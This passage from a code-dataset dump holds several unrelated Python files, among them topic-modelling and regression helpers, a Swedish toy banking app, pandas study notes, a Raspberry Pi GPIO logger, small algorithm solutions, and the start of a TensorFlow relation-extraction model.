vectorization')\n\n ### utilize term-frequency inverse-document-frequency since how long someone stays on a video is important\n tfidf = models.TfidfModel(corpus) # step 1 -- initialize a model\n corpus_tfidf = tfidf[corpus] ## apply tfidf to corpus\n t = time_req(t,'tf-idf')\n\n if fullfit:\n model = models.ldamodel.LdaModel(corpus_tfidf, id2word=dictionary, num_topics=nclust, passes=passes)\n t = time_req(t,'LDA')\n else:\n model = None\n\n mods = {}\n mods['model'] = model\n mods['texts'] = texts\n mods['dictionary'] = dictionary\n mods['corpus'] = corpus\n mods['nclust'] = nclust\n mods['passes'] = passes\n mods['stopwords'] = stops\n mods['ngram'] = ngram\n mods['tfidf'] = corpus_tfidf\n\n if savefile is not None:\n fn = \"%s/lda_%s_%i_%ig.pkl\"%(version,savefile,nclust,ngram)\n pickle.dump(mods,open(fn,'wb'))\n\n return mods\n #return model,texts,dictionary,corpus,nclust\n","sub_path":"ml/textdata.py","file_name":"textdata.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"246024059","text":"import PySimpleGUI as sg\nfrom PySimpleGUI.PySimpleGUI import Titlebar\n\nlayout = [[sg.Text('Välkommen till illenbockens bank')], [sg.Button('Gå vidare till banken')],]\n\nwindow = sg.Window('illenbockens bank', layout, margins=(500,300))\n\nwhile True:\n event, values = window.read()\n if event == 'Gå vidare till banken' or event == sg.WIN_CLOSED:\n break\n\nwindow.close()\n\nfrom functions import *\nfrom datetime import datetime\nimport os\n\n\nmove_transactions()\nmove_dates()\n \n# Programloopen\nwhile True:\n\n # Skriver ut menyn och frågar användar efter sitt val\n meny = (\"\\n############################\"\n \"\\n# #\"\n \"\\n# illenbockens bank #\"\n f\"\\n# Saldo: {balance()}kr #\"\n \"\\n# #\"\n \"\\n############################\"\n \"\\n \"\n\n \"\\n 1: Visa transaktioner.\"\n \"\\n 2: Sätt in pengar.\"\n \"\\n 3: Ta ut pengar.\"\n \"\\n 4: Nollställ kontot\"\n \"\\n 5: Avsluta applikationen.\"\n \"\\n Gör ditt val (1-5):\")\n\n\n val = validate_int(meny, \"Felaktig inmatning! Gör om gör rätt.\") # Kollar om valet är ett giltigt svar\n\n\n if val == 1: # Visa transaktionslistan\n print_transactions()\n\n\n elif val == 2: # Sätta in pengar\n insättning = validate_float(\"Hur mycket pengar vill du sätta in (kr)?\",\"Felaktig inmatning! Gör om gör rätt.\")\n\n insättning = round(insättning,2) # Avrundar talet till 2 decimaler\n\n if insättning > 0:\n add_transaction(insättning, True)\n datum2 = datetime.now()\n datum3 = datum2.strftime(\"%d/%m/%Y\")\n add_date(datum3)\n else:\n print(\"insättningen kan inte vara negativ.\")\n \n\n elif val == 3: # Ta ut pengar\n uttag = validate_float(\"Hur mycket pengar vill du ta ut (kr)?\", \"Felaktig inmatning! Gör om gör rätt.\")\n\n uttag = round(uttag,2) # Avrundar talet till 2 decimaler\n\n if uttag > balance():\n print(f\"Du kan inte ta ut mer än {balance()}kr just nu.\")\n elif uttag < 0:\n print(\"uttaget kan inte vara negativt.\")\n else:\n add_transaction(-uttag, True)\n datum1 = datetime.now()\n datum = datum1.strftime(\"%d/%m/%Y\")\n add_date(datum)\n\n\n elif val == 4: # Nollställa kontot\n nollställ= str(input(\"Är du säker detta nollställer hela kontot?\\n1. Ja\\n2. Nej\\nVälj (1-2):\"))\n if nollställ == '1':\n os.remove(filename)\n os.remove(filename2)\n transaktioner.clear()\n datumlista.clear()\n move_transactions()\n move_dates()\n else:\n continue\n\n\n elif val == 5: # Avslutar programmet\n break\n\nwrite_dates_to_file()","sub_path":"bankGUI.py","file_name":"bankGUI.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"563786630","text":"from ftw.upgrade import UpgradeStep\n\n\nclass InstallPrivateDossierQuota(UpgradeStep):\n \"\"\"Install private dossier quota.\n \"\"\"\n\n def __call__(self):\n self.install_upgrade_profile()\n self.index_new_behaviors()\n self.configure_error_log()\n\n # recalculation was moved to upgrade\n # 20170314200202_fix_private_folder_usage_calculation\n # because it had errors.\n\n def index_new_behaviors(self):\n msg = 'Update `object_provides` for objects with new behavior.'\n catalog = self.getToolByName('portal_catalog')\n\n for obj in self.objects({'portal_type': ['ftw.mail.mail',\n 'opengever.document.document',\n 'opengever.private.folder']},\n msg):\n catalog.reindexObject(obj,\n idxs=['object_provides'],\n update_metadata=False)\n\n def configure_error_log(self):\n error_log = self.getToolByName('error_log')\n properties = error_log.getProperties()\n if 'ForbiddenByQuota' in properties.get('ignored_exceptions', ()):\n return\n\n properties['ignored_exceptions'] += ('ForbiddenByQuota',)\n error_log.setProperties(**properties)\n","sub_path":"opengever/private/upgrades/20170308172109_install_private_dossier_quota/upgrade.py","file_name":"upgrade.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"367793787","text":"import re\n\nimport pandas as pd\nimport numpy as np\nimport streamlit as st\nfrom statsmodels.formula.api import ols\n\n\ndef get_ols_formula(label, features):\n feature_formula = \" + \".join(features)\n formula = f\"{label} ~ {feature_formula}\"\n return formula\n\n\ndef get_ols_summary_note(summary):\n summary_note = summary.extra_txt\n summary_note = re.sub(\"\\n\", \" \", summary_note)\n notes = re.findall(r\"(?<=\\[\\d\\]).*?(?=\\[|$)\", summary_note, flags=re.S)\n return [n.strip() for n in notes]\n\n\ndef show_summary_in_streamlit(summary):\n st.subheader(\"回归建模结果\")\n for table in summary.tables:\n title = table.title\n table.title = \"\"\n st.markdown(table.as_html(), unsafe_allow_html=True)\n st.markdown(\"---\")\n\n st.subheader(\"💡注意\")\n notes = get_ols_summary_note(summary)\n for n in notes:\n st.write(\"-\", n)\n\n\nif __name__ == \"__main__\":\n # 构造数据\n df = pd.DataFrame(np.random.randn(20, 4), columns=list(\"abcd\"))\n formula = get_ols_formula(df.columns[-1], df.columns[:-1])\n # st.write(formula)\n\n # 构建模型\n model = ols(formula, data=df).fit()\n summary = model.summary()\n","sub_path":"python/Streamlit/example/helper/ols_helper.py","file_name":"ols_helper.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"257165713","text":"# testing pandas out here\r\n\"\"\"\r\npandas documentation - \"https://pandas.pydata.org/pandas-docs/stable/\"\r\npandas course on pluralsight (PANDAS FUNDAMENTALS)\r\nfolder pandas_learning\r\n\"\"\"\r\n\r\n# OVERVIEW\r\n# data input and output\r\n# indexing and filtering data\r\n# working with groups\r\n# creating plots\r\n\r\n# GETTING STARTED\r\n\"\"\"\r\nexpect topics like:\r\ndata types\r\nI/O capabilities (think this is like when I got .csv)\r\noperations on groups\r\ndata filtering \r\nplotting\r\n\"\"\"\r\n\r\n# __THE DATASET__\r\n# best to work with real public datasets\r\n# working with:\r\n# \"Tate Collection metadata\"\r\n# this contains about 70,000 artworks and is available as json or csv.\r\n# \"https://github.com/tategallery/collection\"\r\n# data is very introductory\r\n\r\n# BASIC OBJECTS\r\n\"\"\"\r\nimport statements:\r\nimport pandas as pd - pandas object is being imported and renamed because it contains a function called pandas\r\nimport numpy as np - numpy object is being imported and renamed because it contains a function called numpy\r\n\"\"\"\r\n# numpy isn't necessary but some attributes and methods make working in pandas easier\r\n# both add new data types:\r\n\"\"\"\r\nfrom numpy:\r\nnp.array / np.ndarray\r\narray is a basic numpy array (not sure what is special about it) - its just a simple list\r\nbut ndarray can have n dimensions 3rd,4th ... dimensional arrays/lists, not confusing concepts but easier to make\r\nfrom pandas:\r\npd.series - dataset with a single column (I think like x - y)\r\npd.DataFrame - dataset with multiple columns (I think like x - y - x - ...)\r\n\"\"\"\r\n# numpy array - this is a list\r\n\"\"\"\r\nsyntax:\r\nthe np object with attributes called on it \r\npossibly:\r\nnp.attribute.method(input)\r\n\"\"\"\r\n# numpy has built in random functions\r\n\"\"\"\r\ncalled on np object to create a list of random objects\r\nnp.random.rand(input)\r\n\"\"\"\r\n# EX:\r\n# made with 3 random elements\r\nimport numpy as np\r\n\r\nnumpy_array_ex = np.random.rand(3)\r\nprint(numpy_array_ex)\r\n# or\r\nimport random as ran\r\n\r\n\r\ndef rand_array(amount, i=0):\r\n narray = list()\r\n while i < amount:\r\n narray.append(ran.random())\r\n i += 1\r\n return narray\r\n\r\n\r\nnumpy_array_ex = rand_array(3)\r\nprint(numpy_array_ex)\r\n# panda Series - the one column (I think like a typical graph)\r\n\"\"\"\r\nuse pd object and call Series attribute and methods accordingly\r\npd.Series()\r\noutput format is:\r\nx y\r\n0 324\r\n1 435\r\n.........\r\n\"\"\"\r\n# EX:\r\n# made with 3 random elements\r\nimport pandas as pd\r\n\r\npd_series = pd.Series(np.random.rand(3))\r\n\"\"\"\r\nin this context it acts as 3 elements in the np array makes 3 sequences in the series\r\n\"\"\"\r\n# acts as a table you would see in a graph\r\n# x is incremented by 1 and left is the input into series or y\r\nprint(pd_series)\r\n\r\n# pandas DataFrame\r\n\"\"\"\r\nsyntax:\r\npd object followed by DataFrame attribute and methods accordingly\r\npd.DataFrame()\r\noutput is:\r\n 0 1\r\n0 234 235\r\n1 34 90\r\n2 2354 8456\r\n.................\r\n\"\"\"\r\n# EX\r\n# this example is creating two columns of random numbers\r\n# the amount of dimensions in the numpy array corresponds to the amount of columns\r\nsecond_array = np.random.rand(3, 2)\r\nprint(second_array) # 2nd dimensional list/array\r\npd_dataFrame = pd.DataFrame(second_array)\r\nprint(pd_dataFrame)\r\n# thinking about it differently\r\n\"\"\"\r\nregular numpy arrays are similar to lists, just a sequence of data\r\nthen putting that array into a series, we got row labels to all sequences of data (like x-y)\r\nor by putting that possibly multi dimensional array in a dataFrame we get row label and column labels for all sequences\r\n(this could be x-y1-y2 (this could technically map multiple dimensions of data but another axis would have to be added \r\nfor each new column))\r\n\"\"\"\r\n\r\n# DEMO\r\n\"\"\"\r\ncreating series object (just row)\r\ncreating dataFrame object (x-y1-y2)\r\ninspect properties (see what can be seen and manipulated)\r\n\"\"\"\r\n\r\n# go to pandas_demo_ex.py\r\n\r\n# EXPLORING PANDAS DATA INPUT CAPABILITIES\r\n# explore formats that pandas can handle (csv, xls, txt...)\r\n# starting to work with dataset by taking\r\n# tate dataset: CSV and formatting it on the fly\r\n# try to get similar results with the\r\n# tate dataset: JSON\r\n# learn to work with pandas input api (the syntax, properties, defaults, etc...)\r\n\r\n# PANDAS COMPATIBLE DATA FORMATS\r\n\"\"\"\r\nthe different data sources:\r\n(three types of input and output)\r\n-text files (txt,csv,tsv)\r\n-binary (when need to work with other software formats (not supported types like-xls)) \r\n to get a direct xls it must be in binary. also useful for io performance (guessing it \r\n can optimize data used and suck (not sure))\r\n-relational databases (read data from relational databases (sql and (maybe access)))\r\n\"\"\"\r\n\"\"\"\r\ntext formats:\r\n-csv (comma separated values) (have already actually used getting this in ML exercise)\r\n separator does not always have to be comma, can be tab\r\n-json (nest objects instead of flat format like csv (a column inside column???))\r\n-html table (comes in handy when getting data from an online web page) \r\n\"\"\"\r\n# if built in methods don't support need can build own and cast data to python objects like lists, tuples, dicts...\r\n# think the numpy examples from before\r\n# think over thinking this (just means not all data has to be in these supported formats\r\n# but can just be stored in data types)\r\n# (has something to do with casting to python objects (research this))\r\n# think it just means if method wont work well just write your own method to get data into a python object\r\n\r\n# TATE COLLECTION METADATA: TAKE ONE\r\n# fist try to interpret all the artwork data stored in one .csv file\r\n# go to file \"metadata_part_o.py\"\r\n\r\n# TATE COLLECTION METADATA: TAKE TWO\r\n# fist try to interpret all the artwork data stored in json\r\n# go to file \"metadata_part_t.py\"\r\n\r\n# NO TESTING YET\r\n# won't do testing until after next module so I have something other than just getting data into the python\r\n# when testing want to get csv and json and work with both, like they can both have different functions but lead\r\n# to creating the same dataFrame and then work on that dataFrame\r\n# maybe what is the most complicated artwork (most descriptive, taking in character count/commas)\r\n# i think this has something to do with children\r\n\r\n# INDEXING AND FILTERING\r\n# cleaning up code and data\r\n# typical questions when selecting data/filtering\r\n# getting the right data, (learn methods pandas provides)\r\n# also see that data isn't always clean and have to deal with unexpected cases\r\n# best ways to select data in pandas and best strategies to avoid errors\r\n\"\"\"\r\nthe task:\r\n-how many distinct artists are there in the dataset?\r\n-how many artworks by Francis Bacon are there?\r\n-what is the artwork with the biggest dimensions (area)?\r\n\"\"\"\r\n\r\n# THE BASICS\r\n\"\"\"\r\n# column selection:\r\n# can get a specific column from df by use of label\r\n# this will return a Series from a DataFrame since it has just one column\r\nsyntax:\r\ndf['']\r\n# can also pass a list of column labels for multiple columns to be selected\r\n# this will now return DataFrame because it has multiple columns (y's)\r\nsyntax:\r\ndf[['', '']]\r\n# another way to select a column in pandas\r\n# can use the dataFrame attribute of the column name\r\nsyntax:\r\ndf.\r\n# THOUGH this is discouraged (avoid it) because its results vary (little weird)\r\n\"\"\"\r\n# column selection from a larger dataFrame can help micro manage segments of the data\r\n\r\n# DEMO 1\r\n# going through first task\r\n# -how many distinct artists are there in the dataset?\r\n# count the number of distinct artists in the dataset\r\n# go to demo_indx&filt.py\r\n\r\n# FILTERING\r\n# logical test on values\r\n# like doing a logic test on an excel table\r\n# filter row values out if condition is true of false\r\n\"\"\"\r\ndf['artist'] == 'Bacon, Francis'\r\nin this case if the artist was not 'Bacon, Francis' their name on the dataset would\r\nbe false while if they are it would be true\r\nartist column would be true and false checking if it was that name\r\nthe result would be a new series with bool in the artist column whether each is true\r\nthe new series would have same labels as source but would be just the artist and rows (x-y)\r\n\"\"\"\r\n\r\n# DEMO 2\r\n# second task\r\n# count how many artworks by Francis Bacon\r\n# use the .value_counts() method to return a series of value row and count column\r\n# use the bool test to make a series of bool of each comparison in a set\r\n# go to demo_indx&filt.py\r\n\r\n# INDEXING DONE THE RIGHT WAY\r\n\"\"\"\r\ncode may start looking clumsy\r\nmay start to be inconsistent, getting errors and such\r\ncould get unexpected results and data\r\ndoing it the right way means a more consistent way\r\n\"\"\"\r\n# working with more consistent attributes work with:\r\n# 'loc' and 'iloc'\r\n\"\"\"\r\nallow to get data in a more consistent way\r\nloc gets data by labels\r\niloc gets data by position\r\n\"\"\"\r\n# labels vs positions\r\n\"\"\"\r\nrow labels are just row names set as indexes when reading file\r\ncolumn labels are just column names\r\n(both are just names of the indexes they represent)\r\npositions are zero based index, start from zero and go up (row and columns)\r\n\"\"\"\r\n# loc\r\n\"\"\"\r\ncall loc on a dataFrame object\r\nput desired labels in square brackets\r\nin the first place before comma is the row indexer \r\nin the second place after comma is the column indexer \r\nsyntax:\r\ndf.loc[, ]\r\nthis is a reliable approach from getting out of dataFrame\r\nthough loc is much more powerful\r\nfor example it can have another data structure in itself like Series\r\nit can use conditional statements learned from before to add Series of true and false in\r\nsyntax:\r\ndf.loc[df[ == 'value'], :] # (colon means all) slice from the start to end\r\n\"\"\"\r\n# iloc\r\n\"\"\"\r\nworks same as loc but works with positional values instead\r\nin differing cases other than the ones presented in the loc \r\ncan work with slices and lists of items\r\nsyntax:\r\ndf.iloc[:, []]\r\nor \r\ndf.iloc[:, []] # colon means everything because it is a slice from the start to end\r\nsyntax:\r\ndf.iloc[, ]\r\nsyntax:\r\ndf.iloc[df[] == 'value', :] # colon means everything, slice from the start to end\r\n\"\"\"\r\n\r\n# DEMO 3\r\n\"\"\"\r\n-practice with loc and iloc\r\n-find the biggest artwork in collection of data\r\n-learn how to deal with common problems in data analysis\r\n\"\"\"\r\n# go to demo_indx&filt.py\r\n\r\n# DOS AND DON'TS\r\n# indexing and filtering is one of the most important part of analyzing data\r\n# working with the data structures, cleaning data, getting indexes/columns, filtering, adding new data, etc...\r\n# learned that when working with a full column, any operation happens on all the data within never the column itself\r\n# best strategies:\r\n# \"always use iloc and loc\"\r\n# most reliable and will not give unexpected results (can use it most times while shorthand won't always work)\r\n# difficult to access row without loc or iloc\r\n#\r\n\"\"\"\r\nrare exceptions to this would be:\r\naccessing an column\r\ndf['']\r\naccessing multiple columns in a list\r\ndf[[]]\r\nfiltering data into a filtered new dataFrame/Series\r\ndf.loc[df[] == '', '']\r\n\"\"\"\r\n# things to avoid:\r\n\r\n# TESTING\r\n# will do testing, look back at all stuff and do something\r\n# look at previous testing section\r\n\"\"\"\r\n# testing_one.py\r\nthis gets the data as csv and prints out a simple statement for each piece of artwork\r\n\"\"\"\r\n\"\"\"\r\n# testing_two.py\r\nthis gets the data in the json files and uses a recursive function to get all the data from the subject\r\ncategory, the children and other none nested things.\r\nstores all its subjects (details about painting) as key-value pairs to their detail id and name of detail in a dict.\r\nsome no subjects or ids and stop it reaches a certain statement.\r\nhuge amount of data gotten and saved.\r\n\"\"\"\r\n\r\n# OPERATIONS ON GROUPS\r\n\"\"\"\r\nshowing why to use this api in cases\r\niterate groups, group things based on column values (like a lot of things have similar width and such)\r\nbuilt in methods to increase work flow\r\n\"\"\"\r\n\r\n# MOTIVATION\r\n\"\"\"\r\napparently no explanation, just get it from examples\r\n(kinda should be the other way around)\r\n\"\"\"\r\n# aggregation\r\n\"\"\"\r\nif wanted to find the firs acquired artwork, would use .min() function on acquisitionYear column\r\nthough if wanted to find the first of every artist would need to use grouping\r\n\r\nyou would need to split the data by each unique artist, grouping together all data with the same \r\nartist, (including acquisitionYear)\r\ngroup data by a certain value and return 1 value for each group is called (aggregation)\r\nAGGREGATION\r\nfamily of operations (research some)\r\n\"\"\"\r\n# transformation\r\n\"\"\"\r\nif was going though data on artists artwork and some data was missing (medium for example)\r\nwe could just replace this missing data with a flag it is missing.\r\nthough another way to fill this missing value is to group together a certain data value (artist name)\r\nand find the most common piece of data in this column to fill it in with (most common medium he used)\r\n\r\nTRANSFORMATION\r\ntake the dataFrame, split into groups based on certain data value, then perform some computation on data\r\nand return a group/dataFrame that is the same size with data changed based on those computations\r\n\"\"\"\r\n# filtering\r\n\"\"\"\r\nin the artwork dataFrame there are some titles that repeat, group all titles together and just look\r\nat data where only groups are more than 1 long (some have repeating titles)\r\nthen to look specifically to the rows where there are more than 1 row of data, drop the rest of the \r\ngroups that don't follow this format of more than 1\r\n\r\nFILTERING\r\ngetting specific data from the frame and getting rid of the rest that aren't that data\r\n\"\"\"\r\n\r\n# ITERATING OVER GROUPS\r\n\"\"\"\r\nto organize data into groups based on single column value\r\nuse the .groupby('') method\r\ncall the pandas dataFrame and call the method .groupby('') on it to organize it by that column name\r\nthis method returns the data on the groups and what each was organized by\r\ncan get each group organized into as well as the data in dataFrame\r\nreturns a tuple of what the grouped value was and its good\r\ncan be used in a for loop (returns subsets of dataFrame) as example:\r\nfor name, group in df.groupby('artist'):\r\nname ==== the name of the artist the group is grouped by\r\ngroup ==== the data of the group, all other data including artist names\r\n\"\"\"\r\n# demo for aggregation\r\n# go over all artist groups (grouped by name)\r\n# get the date for each first acquisition\r\n# fill in some missing values\r\n# groups_demo.py\r\n\"\"\"A LESSON LEARNED IS LOOK UP SPECIFIC STUFF ON PANDAS TO SEE IF THERE ARE ANY METHODS FOR IT\"\"\"\r\n\r\n# BUILT-IN METHODS\r\n# saw in groups_demo.py that using for loops with groups, the data could be analyzed with transformations in mind\r\n\"\"\"\r\nin the previous groups_demo.py, to transform data used each group\r\nanalyzed each dataset to alter the missing data\r\n\"\"\"\r\n# pandas allows the ability to get a grouped dataFrame with specific columns in mind\r\n# to do this after using the .groupby('') method specify the columns []\r\n# syntax:\r\n# df.groupby('')['']\r\n# this gets the grouped dataFrame and then gets only the columns requested\r\n# this is used instead of going through a loop and getting only the 'medium' from each subset\r\n# working with .transform()\r\n\"\"\"\r\nthis takes a custom transforming function as a parameter\r\nit returns the return from custom function\r\ndoes any transformation and returns the data\r\nif working with a specific data can return the data back into its place with loc or iloc\r\nsyntax:\r\ndf[:, ''] = df[''].transform('')\r\n# or\r\ndf = df.transform('')\r\n\"\"\"\r\n# aggregation built-ins\r\n# in another case in groups_demo.py found minimum values for each artist\r\n# use the .agg() method\r\n# this takes any function that takes input of a series and returns a single value\r\n# (np.min) is a numpy function that takes a series and returns the minimum\r\n\"\"\"\r\nsyntax:\r\nex = df.groupby('')[''].agg()\r\n\"\"\"\r\n# in pandas, there are some aggregate functions like .min()\r\n# this will take a dataFrame and go through each aggregation and return a single value for each\r\n\"\"\"\r\nsyntax:\r\nex = df.groupby('')[''].min()\r\n\"\"\"\r\n# filtering built-ins\r\n# in the case of looking for duplicate titles\r\n# the filter requires a condition function (or something that is a condition function)\r\n# this is quick when using a lambda function\r\n\"\"\"\r\nsyntax:\r\ncondition = lambda : \r\nex:\r\ncondition = lambda x: len(x.index) > 1\r\n\"\"\"\r\n# then use the .filter() to filter the data and return the data that only are true in condition\r\n\"\"\"\r\npossibly lambda function could be conditional function\r\nsyntax:\r\nex = df.filter()\r\n\"\"\"\r\n# demo\r\n# called built_demo.py\r\n# perform aggregation, transformation and filtering using built in methods\r\n# will be less complicated code because more will be going on in the background\r\n# TIMESTAMP - 2:15\r\n\r\n\r\n\r\n","sub_path":"ML_Learn/chap_one/pandas_learning/panda_documentation.py","file_name":"panda_documentation.py","file_ext":"py","file_size_in_byte":17210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"351401106","text":"from __future__ import print_function\nimport sys\nimport numpy as np\nimport csv\nimport os\nimport random\nimport csv\nfrom keras.models import Sequential, load_model, Model\nfrom keras.layers import Dense, Dropout, Embedding, Flatten, Dot, Input, Add, Concatenate\nfrom keras.callbacks import EarlyStopping, LambdaCallback, ModelCheckpoint\nfrom keras import backend as K\n\n#normalize dot_normalize\n#path = os.environ.get(\"GRAPE_DATASET_DIR\")\n#train_path = os.path.join(path, \"data/train.csv\")\n#test_path = os.path.join(path, \"data/test.csv\")\n#model_path = 'hw5/trained_model'\n#pre_path = 'hw5/result.csv'\ntest_path = sys.argv[1]\nmodel_path = 'trained_model'\npre_path = sys.argv[2]\n\ndef rmse(y_true, y_pred): return K.sqrt(K.mean((y_pred - y_true) ** 2))\n\ntestfile = open(test_path, 'r')\nnext(testfile)\ntest = [line.strip('\\n').split(',')[1:] for line in testfile]\n\ntest_usr = []\ntest_mov = []\nfor line in test:\n\ttest_usr += [int(line[0])]\n\ttest_mov += [int(line[1])]\ntest_usr = np.asarray(test_usr)\ntest_mov = np.asarray(test_mov)\ntestfile.close()\n\nprint(\"================Predicting and savining================\")\nmodel = load_model(model_path, custom_objects = {'rmse': rmse})\nresult = model.predict([test_usr, test_mov])\nprefile = open(pre_path, 'w+')\nwriter = csv.writer(prefile, delimiter = ',', lineterminator = '\\n')\nwriter.writerow(['TestDataID', 'Rating'])\ndataid = 1\nfor value in result:\n\twriter.writerow([str(dataid), str(value[0])])\n\tdataid += 1\nprefile.close()\n","sub_path":"hw5/hw5_best.py","file_name":"hw5_best.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"584407780","text":"'''\n@Author: zhaoyang.liang\n@Github: https://github.com/LzyRapx\n@Date: 2020-01-19 20:43:54\n'''\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def middleNode(self, head: ListNode) -> ListNode:\n cur = head\n cnt = 0\n while cur:\n cur = cur.next\n cnt += 1\n \n cur = head\n for i in range(cnt // 2):\n cur = cur.next\n return cur\n \n ","sub_path":"LeetCode/Easy/876.py","file_name":"876.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"192787053","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom django.conf import settings\nimport django\nimport RPi.GPIO as GPIO\nimport datetime\nimport time\nimport csv\n\n# from statsmodels.genmod.families.links import sqrt\n\n\nsettings.configure(\n DATABASES={\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': './db.sqlite3',\n }\n },\n INSTALLED_APPS=['kadoumap.apps.KadoumapConfig']\n)\ndjango.setup()\n\n\nPIN_IN = 17\nPIN_OUT = 25\nmachine_name = 'test01'\ncsvfile_path = '/home/pi/dev/operationdata.csv'\n\n\n# CSVファイルをリネームし、新規作成 ◆TODO リネーム部分未作成\ndef make_new_csv():\n with open(csvfile_path, 'w') as new_csv_file:\n fieldnames = ['time', 'state', 'machine']\n writer = csv.DictWriter(new_csv_file, fieldnames=fieldnames)\n writer.writeheader()\n time.sleep(0.5)\n return 0\n\n\n# CSVファイルにデータを追記する。\ndef csv_output(new_state, datnow):\n with open(csvfile_path, 'a') as f:\n writer = csv.writer(f)\n writer.writerow([str(datnow), str(new_state), machine_name])\n print(str(datnow) + ' ' + str(new_state) + ' ' + machine_name)\n return 0\n\n\n# SQLiteにデータをINSERTする。\ndef sqlite_insert(new_state, datnow):\n d = OpeData(ope_datetime=str(datnow), ope_state=str(new_state), ope_machine=machine_name)\n d.save()\n return 0\n\n\n# メイン処理\nprint('start')\ntry:\n # GPIO準備\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(PIN_IN, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)\n GPIO.setup(PIN_OUT, GPIO.OUT)\n\n # CSVリネームし、新規作成\n # make_new_csv()\n # 初期値\n old_state = 2\n\n while True:\n # ステータス取得\n if GPIO.input(PIN_IN) == GPIO.HIGH:\n new_state = 1\n else:\n new_state = 0\n\n # ステータスに変化があるか比較\n if old_state != new_state:\n # ランプ消灯(処理受付停止サイン)\n GPIO.output(PIN_OUT, GPIO.LOW)\n\n datnow = datetime.datetime.now().strftime(\"%Y/%m/%d %H:%M:%S\")\n # CSVに出力\n csv_output(new_state, datnow)\n # SQLiteにINSERT\n sqlite_insert(new_state, datnow)\n\n # 新しいステータスを次回比較用に退避\n old_state = new_state\n\n # チャタリング対策に処理を停止。\n time.sleep(2)\n # ランプ点灯\n GPIO.output(PIN_OUT, GPIO.HIGH)\n\n # ステータス取得間隔\n time.sleep(0.1)\nexcept KeyboardInterrupt:\n pass\n\nGPIO.output(PIN_OUT, GPIO.LOW)\nGPIO.cleanup()\nprint('\\nend')\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"207580196","text":"from collections import defaultdict\n'''\n\tContain a dict that contains all traversed characters.\n\tTarget characters are always positive or 0.\n\tIf 0, that means were on the substring of target character.\n\tIf greater, subtract missing by 1 only if we had landed on that character.\n\t\n\tAlways subtract element by 1 in dict.\n\tIf missing == 0\n\t\tFast forward left side only for values less than 0\n\t\tCompare now, find min.\n\t\tRemove left side idx, we know this is target\n\t\tDo to zooming, then we add 1 to missing and proceed.\n'''\ndef problem(arr, k):\n\t\n\tfound_characters = defaultdict(int)\n\t\n\tfor c in k:\n\t\tfound_characters[c] += 1\n\n\tmissing = len(k)\n\tleft_min, right_min = 0, len(arr)\n\tl_idx, r_idx = 0, 0\n\tfor r_idx, element in enumerate(arr):\n\t\t# Check if we landed on a target. Target is never negative.\n\t\tif found_characters[element] > 0:\n\t\t\tmissing -= 1\n\t\tfound_characters[element] -= 1\n\t\tif not missing:\n\t\t\t# Scan through current array until we reach k.\n\t\t\twhile found_characters[arr[l_idx]] < 0:\n\t\t\t\tfound_characters[arr[l_idx]] += 1\n\t\t\t\tl_idx += 1\n\t\t\tif r_idx - l_idx < right_min - left_min:\n\t\t\t\tleft_min, right_min = l_idx, r_idx\n\t\t\t# k character is never negative, therefore we know this by this spot.\n\t\t\tfound_characters[arr[l_idx]] += 1\n\t\t\tmissing += 1\n\t\t\tl_idx += 1\n\treturn arr[left_min:right_min + 1] if right_min != len(arr) else ''\n\t\t\nprint(problem('helloabochello', 'abc'))\n","sub_path":"DailyProgrammingBookChallenges/Review/minimum_window.py","file_name":"minimum_window.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"40199960","text":"# -*- coding:utf-8 -*-\nimport tensorflow as tf\nimport numpy as np\nimport time\nimport datetime\nimport os\nimport network\nimport json\nfrom sklearn.metrics import average_precision_score\nimport sys\nimport sklearn.metrics\nfrom network.embedding import Embedding\nfrom network.encoder import Encoder\nfrom network.selector import Selector\nfrom network.classifier import Classifier\nFLAGS = tf.app.flags.FLAGS\nclass Accuracy(object):\n\n\tdef __init__(self):\n\t\tself.correct = 0\n\t\tself.total = 0\n\n\tdef add(self, is_correct):\n\t\tself.total += 1\n\t\tif is_correct:\n\t\t\tself.correct += 1\n\n\tdef get(self):\n\t\tif self.total == 0:\n\t\t\treturn 0\n\t\telse:\n\t\t\treturn float(self.correct) / self.total\n\n\tdef clear(self):\n\t\tself.correct = 0\n\t\tself.total = 0\n\nclass PCNN():\n\tdef __init__(self,is_training):\n\t\t#Place Holder\n\t\t\n\t\tself.word = tf.placeholder(dtype=tf.int32, shape=[None, FLAGS.max_length], name='input_word')\n\t\tself.pos1 = tf.placeholder(dtype=tf.int32, shape=[None, FLAGS.max_length], name='input_pos1')\n\t\tself.pos2 = tf.placeholder(dtype=tf.int32, shape=[None, FLAGS.max_length], name='input_pos2')\n\t\tself.length = tf.placeholder(dtype=tf.int32, shape=[None], name='input_length')\n\t\tself.mask = tf.placeholder(dtype=tf.int32, shape=[None, FLAGS.max_length], name='input_mask')\n\t\tself.scope = tf.placeholder(dtype=tf.int32, shape=[FLAGS.batch_size + 1], name='scope')\n\t\tself.bag_label = tf.placeholder(dtype=tf.int32, shape=[None], name='bag_label')\n\t\tself.sentence_label = tf.placeholder(dtype=tf.int32, shape=[None], name='sentence_label')\n\t\tself.label_weights = 